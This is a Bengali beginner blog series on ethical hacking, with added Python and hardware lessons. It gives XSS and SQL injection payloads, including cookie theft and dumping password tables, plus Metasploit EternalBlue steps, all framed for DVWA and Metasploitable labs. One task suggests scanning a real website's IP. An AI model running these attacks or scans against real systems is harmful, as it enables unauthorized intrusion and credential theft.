বুধবার, ৯ এপ্রিল, ২০২৫

XSS (ক্রস-সাইট স্ক্রিপ্টিং) শিখুন: ওয়েব সিকিউরিটি গাইড | ইথিকাল হ্যাকিং ডে-৭

 

XSS (ক্রস-সাইট স্ক্রিপ্টিং) শিখুন: ওয়েব সিকিউরিটি গাইড | ইথিকাল হ্যাকিং ডে-৭ XSS (ক্রস-সাইট স্ক্রিপ্টিং) ও ওয়েব সিকিউরিটি

ইথিকাল হ্যাকিং ডে-৭: XSS (ক্রস-সাইট স্ক্রিপ্টিং) - সম্পূর্ণ গাইড

🎯 আজকের শেখার রোডম্যাপ

হাই বন্ধুরা! আজ আমরা একটা মজার এবং গুরুত্বপূর্ণ বিষয় নিয়ে কথা বলবো—XSS বা ক্রস-সাইট স্ক্রিপ্টিং। এটা একটু টেকনিক্যাল শোনালেও চিন্তা করো না, আমি তোমাদের সাথে বন্ধুর মতো সহজ ভাষায় সবকিছু বুঝিয়ে দেবো। তাহলে চলো, এক কাপ চা বা কফি নিয়ে শুরু করি!

  • 🔍 XSS কী আর কেন এটা জানা দরকার?
  • 🧩 XSS-এর তিনটা প্রকার (Reflected, Stored, DOM-based)
  • 💻 DVWA-তে হাতে-কলমে প্র্যাকটিস
  • 🛡️ XSS থেকে বাঁচার উপায়
  • 🏆 রিয়েল-ওয়ার্ল্ড উদাহরণ

XSS কী জিনিস?

বন্ধুরা, XSS বা ক্রস-সাইট স্ক্রিপ্টিং হলো এমন একটা দুর্বলতা, যেখানে একজন হ্যাকার তোমার ওয়েবসাইট বা ব্রাউজারে দুষ্টুমি করার জন্য কিছু খারাপ কোড ঢুকিয়ে দেয়। ধরো, তুমি একটা ওয়েবসাইটে তোমার নাম লিখলে, আর সেটা সরাসরি পেজে দেখায়। এখন যদি তুমি নামের জায়গায় শুধু "রাহিম" না লিখে <script>alert('Hacked!')</script> লিখে দাও, তাহলে কী হবে? ওয়েবসাইটটা সেটাকে বোকার মতো চালিয়ে দেবে, আর তোমার স্ক্রিনে একটা পপ-আপ দেখাবে যে "Hacked!"।

এটা শুধু মজা নয়, বরং হ্যাকাররা এভাবে তোমার গোপন তথ্য, যেমন কুকি বা লগইন ডিটেইলস চুরি করতে পারে। তাই এটা বোঝা আর ঠেকানো খুব জরুরি!

<script>alert('Hacked!')</script>

XSS-এর তিনটা প্রকার

XSS তিন রকমের হতে পারে। চলো, একটু গল্পের মতো বুঝি:

প্রকার বর্ণনা উদাহরণ
Reflected XSS ধরো, তুমি একটা সার্চ বক্সে কিছু লিখলে, আর সেটা সরাসরি পেজে দেখায়। যদি তুমি <script>alert('Hi')</script> লিখো, তাহলে পপ-আপ চলে আসবে। সার্চ রেজাল্ট পেজ
Stored XSS এটা ডাটাবেসে সেভ হয়। ধরো, ব্লগে কমেন্টে কোড লিখলে, সবাই যারা কমেন্ট পড়বে, তাদের জন্য পপ-আপ দেখাবে। ব্লগ কমেন্টস
DOM-based XSS ব্রাউজার নিজেই কোড প্রসেস করে। URL-এ কোড ঢুকালে সেটা চলে যায়। URL প্যারামিটার

⚠️ সাবধানতার কথা

বন্ধুরা, এই জিনিসগুলো আমরা শিখছি শুধু শিক্ষার জন্য। এটা দিয়ে কারো ক্ষতি করা যাবে না। তুমি শুধু:

  • নিজের ওয়েবসাইটে টেস্ট করতে পারো।
  • অনুমতি নিয়ে পেনিট্রেশন টেস্টিং করতে পারো।
  • শিক্ষার জন্য ব্যবহার করতে পারো।

অনুমতি ছাড়া অন্য কারো সিস্টেমে এটা করলে আইনি ঝামেলায় পড়তে পারো, তাই সাবধান!

DVWA-তে হাতেকলমে প্র্যাকটিস

এবার আসল মজা! আমরা DVWA (Damn Vulnerable Web Application) নামে একটা টুল ব্যবহার করে XSS টেস্ট করবো। এটা একটা প্র্যাকটিস ল্যাব।

কীভাবে শুরু করবো?

  1. প্রথমে XAMPP বা WAMP ইন্সটল করো।
  2. DVWA ডাউনলোড করো (লিঙ্ক)।
  3. ফাইলগুলো XAMPP-এর htdocs ফোল্ডারে রাখো।
  4. ব্রাউজারে localhost/DVWA/setup.php খুলে সেটআপ করো।
  5. লগইন করো (ইউজার: admin, পাসওয়ার্ড: password)।

Reflected XSS টেস্ট

"XSS (Reflected)" সেকশনে গিয়ে এটা লিখে চালাও:

<script>alert(document.cookie)</script>

এটা তোমার কুকি দেখিয়ে দেবে!

XSS থেকে বাঁচার উপায়

এবার শিখবো কীভাবে এই দুষ্টুমি থেকে নিজেকে বাঁচাবো:

পদ্ধতি কীভাবে করবো?
ইনপুট ভ্যালিডেশন <script> জাতীয় জিনিস ব্লক করো।
Output Encoding ইনপুটকে HTML এনটিটিতে কনভার্ট করো।
Content Security Policy কোন স্ক্রিপ্ট চলবে, সেটা HTTP হেডারে বলে দাও।

🧪 আজকের ল্যাব টাস্ক

চলো, একটু হোমওয়ার্ক করি:

  1. DVWA-তে Reflected XSS টেস্ট করো।
  2. একটা ছোট ব্লগ কমেন্ট সিস্টেম বানিয়ে Stored XSS দেখো।
  3. একটা সিম্পল পেজ বানাও যেখানে DOM-based XSS টেস্ট করা যায়।
  4. উপরের তিনটা প্রতিরোধ পদ্ধতি ইমপ্লিমেন্ট করে দেখো।

SQL ইনজেকশনের রহস্য উন্মোচন: ইথিকাল হ্যাকিং গাইড (ডে-৬)

SQL ইনজেকশন শিখুন: ওয়েব অ্যাপ্লিকেশন সিকিউরিটি (ডে-৬) | ইথিকাল হ্যাকিং SQL ইনজেকশন ও ওয়েব সিকিউরিটি

ইথিকাল হ্যাকিং ডে-৬: SQL ইনজেকশন - সম্পূর্ণ বাংলা গাইড

🎯 আজকের লক্ষ্য কী?

আজ আমরা SQL ইনজেকশন নিয়ে গভীরভাবে আলোচনা করবো। এটা শিখে আপনি ওয়েবসাইটের নিরাপত্তা দুর্বলতা বুঝতে পারবেন এবং সেগুলো ঠিক করার উপায় জানতে পারবেন। আমাদের আজকের মূল বিষয়গুলো হলো:

  • SQL ইনজেকশন কী এবং এটা কীভাবে কাজ করে?
  • বাস্তব জীবনের কিছু উদাহরণ দিয়ে বোঝা।
  • DVWA নামে একটি টুল ব্যবহার করে হাতেকলমে প্র্যাকটিস।
  • কীভাবে এই আক্রমণ থেকে নিজেকে বাঁচানো যায়।

ধাপ ১: SQL ইনজেকশনের সহজ পরিচিতি

SQL ইনজেকশন হলো এমন একটি কৌশল, যেখানে একজন আক্রমণকারী ওয়েবসাইটের ইনপুট ফিল্ডে (যেমন লগইন ফর্মে) কিছু কোড লিখে ডাটাবেসের সাথে ছলনা করে। এর ফলে সে এমন তথ্য দেখতে বা বদলাতে পারে, যার অনুমতি তার থাকার কথা নয়।

একটি সহজ উদাহরণ দেখি:

ধরা যাক, একটি ওয়েবসাইটে লগইন করতে এমন একটি SQL কুয়েরি ব্যবহৃত হয়:

SELECT * FROM users WHERE username = 'admin' AND password = '12345'

এখন যদি কেউ পাসওয়ার্ড ফিল্ডে ' OR '1'='1 লিখে দেয়, তাহলে কুয়েরিটি এমন হবে:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

এখানে '1'='1' সবসময় সত্য হয়। ফলে বৈধ পাসওয়ার্ড না জানলেও লগইন হয়ে যাবে! এটাই SQL ইনজেকশনের ম্যাজিক।

⚠️ একটু সাবধানতা

এই জ্ঞান শুধু ভালো কাজে ব্যবহার করুন। যেমন:

  • নিজের ওয়েবসাইটের নিরাপত্তা পরীক্ষা করতে।
  • অনুমতি নিয়ে পেনিট্রেশন টেস্টিং করতে।
  • শিক্ষার জন্য এবং দক্ষতা বাড়াতে।

অন্যের ক্ষতি করার জন্য এটি ব্যবহার করা একদম নিষিদ্ধ এবং অবৈধ।

ধাপ ২: DVWA দিয়ে শুরু করা

DVWA মানে "Damn Vulnerable Web Application"। এটা একটি প্র্যাকটিস টুল, যেটা দিয়ে আমরা নিরাপত্তা দুর্বলতা শিখতে পারি। এটি সেটআপ করতে এই ধাপগুলো অনুসরণ করুন:

  1. XAMPP বা WAMP ইন্সটল করুন: এটা আপনার কম্পিউটারে সার্ভার তৈরি করবে।
  2. DVWA ডাউনলোড করুন: এটি পাবেন এই GitHub লিঙ্কে
  3. ফাইল কপি করুন: DVWA ফোল্ডারটি XAMPP-এর "htdocs" ফোল্ডারে রাখুন।
  4. ব্রাউজারে চালু করুন: লিখুন http://localhost/DVWA
  5. লগইন করুন: ডিফল্ট ইউজারনেম admin এবং পাসওয়ার্ড password

সব ঠিক থাকলে আপনি DVWA-এর ড্যাশবোর্ড দেখতে পাবেন। এখানে প্র্যাকটিস শুরু করা যাবে!

ধাপ ৩: SQL ইনজেকশন হাতেকলমে শিখি

লগইন বাইপাস করা

DVWA-তে SQL ইনজেকশন সেকশনে গিয়ে এটি ট্রাই করুন:

ইউজারনেম: admin' -- পাসওয়ার্ড: যেকোনো কিছু লিখুন

এখানে -- মানে বাকি কুয়েরি বাদ দেওয়া। ফলে পাসওয়ার্ড চেক না করেই লগইন হবে।

ডাটাবেস থেকে তথ্য বের করা

এবার আরেকটু এডভান্সড কিছু দেখি:

' UNION SELECT username, password FROM users --

এটি ডাটাবেস থেকে সব ইউজারনেম এবং পাসওয়ার্ড দেখিয়ে দেবে। আশ্চর্যজনক, তাই না?

কীভাবে নিজেকে সুরক্ষিত রাখবেন?

SQL ইনজেকশন থেকে বাঁচতে এই পদ্ধতিগুলো ব্যবহার করুন:

পদ্ধতি কীভাবে কাজ করে?
Prepared Statements ইনপুটকে কুয়েরি থেকে আলাদা রাখে, ফলে কোড ইনজেক্ট করা যায় না।
Input Validation ইউজারের দেওয়া ডেটা চেক করে বিপজ্জনক ক্যারেক্টার বাদ দেয়।
WAF Web Application Firewall আক্রমণ শনাক্ত করে ব্লক করে।

এগুলো ব্যবহার করলে আপনার ওয়েবসাইট অনেক বেশি নিরাপদ হবে।

মঙ্গলবার, ৮ এপ্রিল, ২০২৫

মেটাসপ্লয়েট দিয়ে হ্যাকিং শেখার মজা: শূন্য থেকে শুরু | বাংলায় গাইড

মেটাসপ্লয়েট দিয়ে হ্যাকিং শিখি: একদম শুরু থেকে | বাংলায় গাইড মেটাসপ্লয়েটের দারুণ ইন্টারফেস

ইথিকাল হ্যাকিং ডে-৫: মেটাসপ্লয়েটের মজার জগতে!

হ্যালো, বন্ধু! শুরু করার আগে একটু কথা

মেটাসপ্লয়েট একটা দারুণ টুল—এটা দিয়ে আমরা সিস্টেমের দুর্বলতা খুঁজে সেগুলো ঠিক করতে শিখবো। তবে এটা শুধু ভালো কাজে ব্যবহার করতে হবে, যেমন:

  • অনুমতি নিয়ে সিস্টেম টেস্ট করা
  • নিজের নেটওয়ার্ক চেক করা
  • শেখার জন্য গবেষণা

কেন? কারণ অনুমতি ছাড়া ব্যবহার করলে আইনি ঝামেলা হতে পারে। তাই আমরা সবসময় সঠিক পথে থাকবো, ঠিক আছে?

ধাপ ১: মেটাসপ্লয়েট চালু করি

শুরু করার প্রথম ধাপ

msfconsole

ক্যালি লিনাক্সে টার্মিনাল খুলে এটা লিখলেই মেটাসপ্লয়েট চালু হয়ে যাবে। কেন করছি? এটা আমাদের মূল কন্ট্রোল প্যানেল—এখান থেকেই সব কাজ শুরু হবে।

কী কী করা যায়, দেখি?

help

এটা লিখলে সব কমান্ডের লিস্ট দেখাবে। কেন? যেন আমরা বুঝতে পারি এই টুল দিয়ে কত কিছু করা যায়—একটু ঘুরে দেখার মতো!

ধাপ ২: এক্সপ্লয়েট খুঁজে বের করি

search eternalblue

এটা লিখলে EternalBlue নামের একটা দুর্বলতার এক্সপ্লয়েট খুঁজে পাবো। কেন? এটা একটা বিখ্যাত Windows দুর্বলতা—এটাকে টেস্ট করে আমরা শিখবো কীভাবে দুর্বলতা কাজে লাগে।

এক্সপ্লয়েট বেছে নিই

use exploit/windows/smb/ms17_010_eternalblue

এটা দিয়ে আমরা EternalBlue ব্যবহার করার জন্য প্রস্তুত হবো। কেন? কারণ এখন আমরা একটা নির্দিষ্ট টুল হাতে নিয়েছি—এটা দিয়ে কাজ শুরু করবো।

ধাপ ৩: টার্গেট সেট করি

কে আমাদের টার্গেট?

set RHOSTS 192.168.1.100

এখানে টার্গেট মেশিনের আইপি দিতে হবে। আমরা Metasploitable নামের একটা টেস্ট মেশিন ব্যবহার করছি। কেন? যেন আমরা কোন মেশিনে কাজ করছি সেটা টুলকে জানাতে পারি।

পেওলোড ঠিক করি

set payload windows/x64/meterpreter/reverse_tcp

এটা দিয়ে আমরা একটা পেওলোড সেট করবো। কেন? এটা আমাদের টার্গেটের সাথে সংযোগ তৈরি করবে এবং কন্ট্রোল দেবে—একটু ম্যাজিকের মতো!

একটু সাবধানতা!

Metasploitable একটা টেস্টিং মেশিন—এটা শুধু শেখার জন্য। তাই:

  • আসল সার্ভারে চালাবো না
  • ইন্টারনেটে খোলা রাখবো না
  • অনুমতি ছাড়া কারো সিস্টেমে ঢুকবো না

কেন? আমরা শিখতে চাই, ক্ষতি করতে না। তাই নিরাপদে থাকি।

ল্যাব তৈরি করি

একটা টেস্টিং ল্যাব বানাতে এই ধাপগুলো ফলো করি:

  1. Metasploitable 3 ডাউনলোড করি (গিটহাব থেকে)
  2. VirtualBox বা VMWare এ চালাই
  3. নেটওয়ার্ক সেটিং চেক করি (NAT বা Host-Only)
  4. আইপি দেখি (ifconfig দিয়ে)

কেন? যেন আমাদের একটা নিরাপদ জায়গা থাকে শেখার জন্য।

ধাপ ৪: এক্সপ্লয়েট চালাই

exploit

এটা লিখলেই এক্সপ্লয়েট চলবে। সব ঠিক থাকলে মিটারপ্রিটার নামে একটা কন্ট্রোল পাবো। কেন? এটা আমাদের টার্গেটে ঢোকার দরজা খুলে দেবে।

মিটারপ্রিটারে মজা করি

কমান্ড কী হবে?
sysinfo টার্গেটের সিস্টেমের তথ্য দেখবো
screenshot টার্গেটের স্ক্রিনের ছবি তুলবো
shell কমান্ড প্রম্পটে ঢুকে যাবো

কেন? এগুলো দিয়ে আমরা টার্গেটের উপর কন্ট্রোল পাই এবং শিখি।

নেটওয়ার্ক সিকিউরিটি: ওয়্যারশার্ক ব্যবহার করে প্যাকেট ক্যাপচার ও অ্যানালাইসিস।(ওয়্যারশার্কের ৫টি গুরুত্বপূর্ণ ফিল্টার)

 

ওয়্যারশার্ক দিয়ে নেটওয়ার্ক ট্রাফিক অ্যানালাইসিস | ইথিকাল হ্যাকিং ডে-৪ ওয়্যারশার্ক দিয়ে নেটওয়ার্ক ট্রাফিক অ্যানালাইসিস

ইথিকাল হ্যাকিং ডে-৪: ওয়্যারশার্ক দিয়ে নেটওয়ার্ক ট্রাফিক অ্যানালাইসিস

স্বাগতম বন্ধুরা! আজ আমরা শিখবো কিভাবে ওয়্যারশার্ক ব্যবহার করে নেটওয়ার্ক ট্রাফিক বিশ্লেষণ করতে হয়। ওয়্যারশার্ক হলো নেটওয়ার্ক ট্রাফিক মনিটরিংয়ের সবচেয়ে জনপ্রিয় টুল, যা দিয়ে আপনি রিয়েল টাইমে নেটওয়ার্কে চলমান সমস্ত ডেটা প্যাকেট দেখতে এবং বিশ্লেষণ করতে পারবেন।

ওয়্যারশার্ক ইনস্টলেশন

ক্যালি লিনাক্সে ওয়্যারশার্ক পূর্বই ইনস্টল করা থাকে। অন্য সিস্টেমে ইনস্টল করতে:

# উবুন্টু/ডেবিয়ান
sudo apt-get install wireshark

# উইন্ডোজ
https://www.wireshark.org/download.html থেকে ডাউনলোড করুন

ইনস্টলেশনের পর ওয়্যারশার্ক রান করতে:

sudo wireshark

গুরুত্বপূর্ণ সতর্কতা!

ওয়্যারশার্ক ব্যবহারের সময় মনে রাখবেন:

  • অনুমতি ছাড়া অন্য কারো নেটওয়ার্ক ট্রাফিক ক্যাপচার করা অবৈধ
  • শুধুমাত্র নিজের নেটওয়ার্ক বা অনুমতিপ্রাপ্ত নেটওয়ার্কে ব্যবহার করুন
  • সেনসিটিভ তথ্য (যেমন পাসওয়ার্ড) ক্যাপচার করতে সতর্ক থাকুন

ওয়্যারশার্কের বেসিক ব্যবহার

১. নেটওয়ার্ক ইন্টারফেস সিলেক্ট করা

ওয়্যারশার্ক ওপেন করলে আপনি আপনার সমস্ত নেটওয়ার্ক ইন্টারফেস দেখতে পাবেন। সাধারণত:

  • Wi-Fi কানেকশনের জন্য wlan0
  • ইথারনেট কানেকশনের জন্য eth0

ক্যাপচার শুরু করতে আপনার ইন্টারফেস সিলেক্ট করে "Start" বাটনে ক্লিক করুন।

২. বেসিক ফিল্টারিং

স্পেসিফিক ট্রাফিক খুঁজতে ফিল্টার ব্যবহার করুন:

ফিল্টার ব্যবহার উদাহরণ
ip.addr নির্দিষ্ট আইপির ট্রাফিক ip.addr == 192.168.1.1
http HTTP ট্রাফিক http
tcp.port নির্দিষ্ট পোর্ট tcp.port == 80

প্র্যাকটিক্যাল উদাহরণ

HTTP ট্রাফিক অ্যানালাইসিস

  1. ওয়্যারশার্কে ক্যাপচার শুরু করুন
  2. ওয়েব ব্রাউজারে একটি HTTP সাইট ভিজিট করুন
  3. ফিল্টার বারে "http" লিখুন
  4. একটি HTTP রিকোয়েস্ট সিলেক্ট করুন
  5. প্যাকেট ডিটেইলস দেখুন (URL, হেডার এবং অন্যান্য তথ্য)

সুরক্ষা টিপস

HTTPS ট্রাফিক সাধারণত এনক্রিপ্টেড থাকে। কিন্তু:

  • HTTP সাইটে পাঠানো সকল তথ্য ক্লিয়ার টেক্সটে দেখা যায়
  • এজন্য সবসময় HTTPS ব্যবহার করুন

আজকের ল্যাব টাস্ক

  1. ওয়্যারশার্ক ইন্সটল করে নিজের নেটওয়ার্ক ট্রাফিক ক্যাপচার করুন
  2. HTTP এবং DNS রিকোয়েস্ট খুঁজে বের করুন
  3. একটি HTTP রিকোয়েস্টের ডিটেইলস বিশ্লেষণ করুন
  4. ip.addr ফিল্টার ব্যবহার করে নির্দিষ্ট ডিভাইসের ট্রাফিক দেখুন

নেটওয়ার্ক স্ক্যানিং শিখুন NMAP দিয়ে – হ্যাকারদের গোপন হাতিয়ার!

ইথিকাল হ্যাকিং ডে-৩: NMAP দিয়ে নেটওয়ার্ক স্ক্যানিং শিখুন | সাইবার নিরাপত্তা নেটওয়ার্ক স্ক্যানিং এবং NMAP টুল

ইথিকাল হ্যাকিং ডে-৩: NMAP দিয়ে নেটওয়ার্ক স্ক্যানিং শিখুন

স্বাগতম বন্ধুরা! আজ আমরা শিখবো কিভাবে NMAP ব্যবহার করে নেটওয়ার্ক স্ক্যানিং করতে হয়। NMAP হলো সাইবার নিরাপত্তা জগতের সবচেয়ে শক্তিশালী টুলগুলোর মধ্যে একটি, যা দিয়ে আপনি নেটওয়ার্কের সমস্ত ডিভাইস, তাদের ওপেন পোর্ট এবং সার্ভিস সম্পর্কে জানতে পারবেন।

কেন NMAP শিখবেন?

একজন ইথিকাল হ্যাকার হিসেবে NMAP জানা আপনার জন্য অত্যন্ত গুরুত্বপূর্ণ কারণ:

  • নেটওয়ার্কের নিরাপত্তা ঝুঁকি চিহ্নিত করতে
  • অনুমতি সাপেক্ষে নেটওয়ার্ক পরীক্ষা করতে
  • সিস্টেম অ্যাডমিনিস্ট্রেশন দক্ষতা বৃদ্ধি করতে
  • সাইবার নিরাপত্তা পেশাদার হিসেবে ক্যারিয়ার গড়তে

NMAP ইনস্টলেশন

ক্যালি লিনাক্সে NMAP পূর্বই ইনস্টল করা থাকে। অন্য লিনাক্স ডিস্ট্রোতে ইনস্টল করতে:

sudo apt-get install nmap

NMAP এর বেসিক ব্যবহার

আসুন এখন কিছু বেসিক NMAP কমান্ড শিখি:

১. সাধারণ স্ক্যান

একটি আইপি অ্যাড্রেস স্ক্যান করতে:

nmap 192.168.1.1

এই কমান্ডটি টার্গেট আইপির ওপেন পোর্টগুলো খুঁজে বের করবে।

২. পোর্ট রেঞ্জ নির্দিষ্ট করে স্ক্যান

নির্দিষ্ট পোর্ট রেঞ্জ স্ক্যান করতে:

nmap -p 1-100 192.168.1.1

এটি শুধুমাত্র ১ থেকে ১০০ নম্বর পোর্ট স্ক্যান করবে।

NMAP এর কিছু গুরুত্বপূর্ণ অপশন

অপশন বিবরণ উদাহরণ
-sV সার্ভিস ভার্সন ডিটেকশন nmap -sV 192.168.1.1
-O অপারেটিং সিস্টেম ডিটেকশন nmap -O 192.168.1.1
-A এগ্রেসিভ স্ক্যান (সব তথ্য) nmap -A 192.168.1.1

নিরাপদে NMAP ব্যবহারের টিপস

ইথিকাল হ্যাকিং শেখার সময় মনে রাখবেন:

  1. কখনোই অনুমতি ছাড়া কারো নেটওয়ার্ক স্ক্যান করবেন না
  2. নিজের নেটওয়ার্ক বা ল্যাব এনভায়রনমেন্টে প্র্যাকটিস করুন
  3. প্রতিটি কমান্ডের প্রভাব বুঝে ব্যবহার করুন

আজকের প্র্যাকটিক্যাল টাস্ক

নিচের কাজগুলো করুন এবং ফলাফল নোট করুন:

  1. আপনার নিজের কম্পিউটারের লোকার্ল আইপি স্ক্যান করুন
  2. একটি ওয়েবসাইটের আইপি স্ক্যান করে দেখুন (যেমন: google.com)
  3. -sV অপশন ব্যবহার করে সার্ভিস ভার্সন চেক করুন

ক্যালি লিনাক্স ইনস্টলেশন গাইড: ভার্চুয়ালবক্সে সেটআপ থেকে বেসিক কমান্ড শিখুন

ইথিকাল হ্যাকিং ডে-২: ক্যালি লিনাক্স সেটআপ ও বেসিক কমান্ডস ক্যালি লিনাক্স ইন্টারফেস

ইথিকাল হ্যাকিং ডে-২: ক্যালি লিনাক্স সেটআপ ও ১০টি জরুরি কমান্ড!

আজকে আমরা শিখবো কিভাবে ক্যালি লিনাক্স ইন্সটল করবেন এবং এর বেসিক কমান্ডস ব্যবহার করে ফাইল সিস্টেম নেভিগেট করবেন।

ধাপ-১: ক্যালি লিনাক্স ইন্সটলেশন

  1. VirtualBox ডাউনলোড করুন (লিংক)
  2. ক্যালি লিনাক্স ISO ডাউনলোড করুন (অফিসিয়াল সাইট)
  3. VirtualBox-এ নতুন VM ক্রিয়েট করুন (RAM: 4GB+, Storage: 25GB+)
  4. ISO সিলেক্ট করে ইন্সটলেশন শেষ করুন
প্রথম ব্যবহারকারীদের জন্য টিপ: লাইভ USB বুট ব্যবহার করলে হার্ডডিস্কে ইন্সটল করার প্রয়োজন নেই!

ধাপ-২: ১০টি জরুরি কমান্ড

pwd - বর্তমান ডিরেক্টরি দেখুন

ls - ফাইল লিস্টিং

cd - ডিরেক্টরি পরিবর্তন

mkdir - নতুন ফোল্ডার তৈরি

cat - ফাইল কন্টেন্ট দেখুন

sudo - অ্যাডমিন পারমিশন নিন

apt update - প্যাকেজ লিস্ট আপডেট

clear - টার্মিনাল ক্লিয়ার

ifconfig - নেটওয়ার্ক ইনফো

man - হেল্প ম্যানুয়াল (যেমন: man ls)

আজকের চ্যালেঞ্জ!

ক্যালি লিনাক্সে লগইন করে এই ৩টি কাজ করুন:

  1. mkdir ethical_hacking দিয়ে নতুন ফোল্ডার তৈরি করুন
  2. cd ethical_hacking এ প্রবেশ করুন
  3. touch day2.txt দিয়ে একটি ফাইল ক্রিয়েট করুন

সোমবার, ৭ এপ্রিল, ২০২৫

ইথিকাল হ্যাকিং শুরু করুন শূন্য থেকে: প্রথম দিনের গাইড (হ্যান্ডস-অন সহ!)

 

ইথিকাল হ্যাকিং ১০১: প্রথম দিনেই জানুন বেসিকস | আপনার ব্লগের নাম ইথিকাল হ্যাকিং শেখার যাত্রা

ইথিকাল হ্যাকিং ১০১: প্রথম দিনেই জানুন বেসিকস

স্বাগতম আপনার হ্যাকিং শেখার যাত্রায়! আজকে আমরা আলোচনা করবো ইথিকাল হ্যাকিং জগতে প্রথম পদক্ষেপ কীভাবে নেবেন। চিন্তা করবেন না, আমি আপনাকে ধাপে ধাপে গাইড করবো।

ইথিকাল হ্যাকিং আসলে কী?

ইথিকাল হ্যাকিং মানে হলো অনুমতি নিয়ে কোনো সিস্টেমের দুর্বলতা খুঁজে বের করা এবং সেটি ফিক্স করতে সাহায্য করা। মনে রাখবেন, একজন ইথিকাল হ্যাকার আর একজন ক্র্যাকারের মধ্যে পার্থক্য হলো ইচ্ছা ও অনুমতি

কেন শিখবেন ইথিকাল হ্যাকিং?

  • 💼 ক্যারিয়ার অপারচুনিটি: সাইবার সিকিউরিটি ফিল্ডে চাহিদা দিন দিন বাড়ছে।
  • 🛡️ নিজেকে সুরক্ষিত রাখুন: হ্যাকারদের থেকে আপনার ডেটা প্রটেক্ট করতে শিখুন।
  • 🧠 টেকনোলজি বুঝুন: কম্পিউটার নেটওয়ার্ক কিভাবে কাজ করে তা গভীরভাবে জানতে পারবেন।

শুরুর জন্য যা জানা জরুরি

ইথিকাল হ্যাকিং শিখতে গেলে আপনাকে কিছু বেসিক জিনিস আগে থেকে জানতে হবে:

  1. বেসিক নেটওয়ার্কিং: IP অ্যাড্রেস, TCP/UDP, পোর্টস
  2. লিনাক্স অপারেটিং সিস্টেম: Kali Linux ব্যবহার করা শিখুন
  3. প্রোগ্রামিং বেসিকস: Python বা Bash স্ক্রিপ্টিং

আজকের প্র্যাকটিস টাস্ক

আপনার কম্পিউটারে ipconfig (Windows) বা ifconfig (Linux/Mac) কমান্ড রান করে আপনার নিজের IP অ্যাড্রেস চেক করুন।

প্রশ্ন থাকলে কমেন্টে জানাতে পারেন!

পরবর্তী কী?

আগামীকাল আমরা শিখবো কিভাবে Kali Linux ইন্সটল করবেন এবং এর বেসিক কমান্ডস। আপনার প্রস্তুতি নিয়ে রাখুন!

 


















পাইথন শিখি সহজে - ক্লাস ১: পাইথনের পরিচয়

ক্লাস ১: পাইথনের পরিচয়
পাইথন প্রোগ্রামিংয়ের পরিচয়

ক্লাস ১: পাইথনের পরিচয়

লেভেল: বেসিক

হ্যালো বন্ধুরা! স্বাগতম পাইথন শেখার এই মজার জগতে। আজ আমরা শুরু করব একেবারে প্রথম ধাপ থেকে। এই ক্লাসে আমরা জানব পাইথন কী, কেন এটি শিখব এবং কীভাবে শুরু করব। তাহলে চলো, একটু মজা করে শিখে ফেলি!

পাইথন কী?

পাইথন হলো একটি সহজ এবং শক্তিশালী প্রোগ্রামিং ভাষা। এটি ১৯৯১ সালে গুইডো ভ্যান রসম নামে একজন প্রোগ্রামার তৈরি করেছিলেন। পাইথন এতটাই সহজ যে এটি পড়তে অনেকটা আমাদের দৈনন্দিন ভাষার মতো লাগে। উদাহরণ দেখো:

print("হ্যালো বন্ধু!")

এই এক লাইন কোড দিয়ে তুমি স্ক্রিনে "হ্যালো বন্ধু!" লিখতে পারো। কী মজা, তাই না?

পাইথন কেন শিখব?

পাইথন শেখার অনেক কারণ আছে। কয়েকটা মজার কারণ দেখো:

  • এটি শিখতে খুব সহজ, নতুনদের জন্য পারফেক্ট।
  • ওয়েবসাইট, গেম, ডেটা বিশ্লেষণ—সব কিছুতে পাইথন ব্যবহার হয়।
  • গুগল, ফেসবুক, নাসার মতো বড় কোম্পানিগুলো এটি ব্যবহার করে।

তো, তুমি যদি কিছু আকর্ষণীয় জিনিস বানাতে চাও, তাহলে পাইথন তোমার বন্ধু হতে পারে!

পাইথন কীভাবে শুরু করব?

পাইথন শুরু করতে প্রথমে তোমার কম্পিউটারে এটি ইনস্টল করতে হবে। চিন্তা করো না, এটা খুব সহজ। ধাপগুলো দেখো:

  1. python.org ওয়েবসাইটে যাও।
  2. তোমার কম্পিউটার (Windows, Mac, বা Linux) অনুযায়ী পাইথন ডাউনলোড করো।
  3. ইনস্টলারটি চালিয়ে ইনস্টল করে ফেলো।
  4. কমান্ড প্রম্পটে python --version লিখে চেক করো ইনস্টল হয়েছে কিনা।

ইনস্টল হয়ে গেলে তুমি প্রোগ্রামিং শুরু করতে প্রস্তুত!

তোমার প্রথম প্রোগ্রাম

একটি টেক্সট এডিটর (যেমন Notepad বা VS Code) খোলো। তারপর এই কোডটি লিখো:

print("আমি পাইথন শিখছি!")

এটি একটি ফাইল হিসেবে সেভ করো, যেমন first.py। তারপর কমান্ড প্রম্পটে গিয়ে python first.py লিখে রান করো। দেখবে স্ক্রিনে "আমি পাইথন শিখছি!" লেখা আসবে। বাহ, তুমি এখন একজন প্রোগ্রামার!

শেষ কথা

আজকের ক্লাসে আমরা পাইথনের সাথে পরিচিত হলাম এবং প্রথম প্রোগ্রাম লিখলাম। পরের ক্লাসে আমরা ভ্যারিয়েবল ও ডেটা টাইপ নিয়ে জানব। ততক্ষণ এই ছোট প্রোগ্রামটি দিয়ে মজা করো এবং কোন প্রশ্ন থাকলে আমাকে জানাও!

সোমবার, ১৭ মার্চ, ২০২৫

Ethical Hacking শেখার শুরু: কম্পিউটার ও হার্ডওয়্যারের মৌলিক বিষয়সমূহ

কম্পিউটার মাদারবোর্ড এবং হার্ডওয়্যার উপাদানসমূহের ছবি

🚀 Ethical Hacking ক্লাস 1: কম্পিউটার এবং হার্ডওয়্যারের মৌলিক ধারণা


Ethical Hacking শেখার জন্য আপনাকে প্রথমেই কম্পিউটার ও হার্ডওয়্যারের মৌলিক বিষয়গুলো বুঝতে হবে। কারণ হ্যাকিংয়ের অনেক কৌশল হার্ডওয়্যার ও সিস্টেম স্ট্রাকচারের উপর নির্ভর করে।  


______________________________________________


🧩 Lesson 1: কম্পিউটার কী এবং কীভাবে কাজ করে?

☞ একটি কম্পিউটার মূলত তিনটি প্রধান অংশে বিভক্ত:  


1. Input Devices (যা ব্যবহার করে ডেটা ইনপুট করা হয়)  

   ➤ Keyboard, Mouse, Scanner, Microphone ইত্যাদি।  


2. Processing Unit (যেখানে ডেটা প্রসেস হয়)  

   ➤ CPU (Central Processing Unit) হল কম্পিউটারের মস্তিষ্ক। এটি তিনটি ভাগে বিভক্ত:  

  • ALU (Arithmetic Logic Unit): গণনা ও লজিক অপারেশন করে  
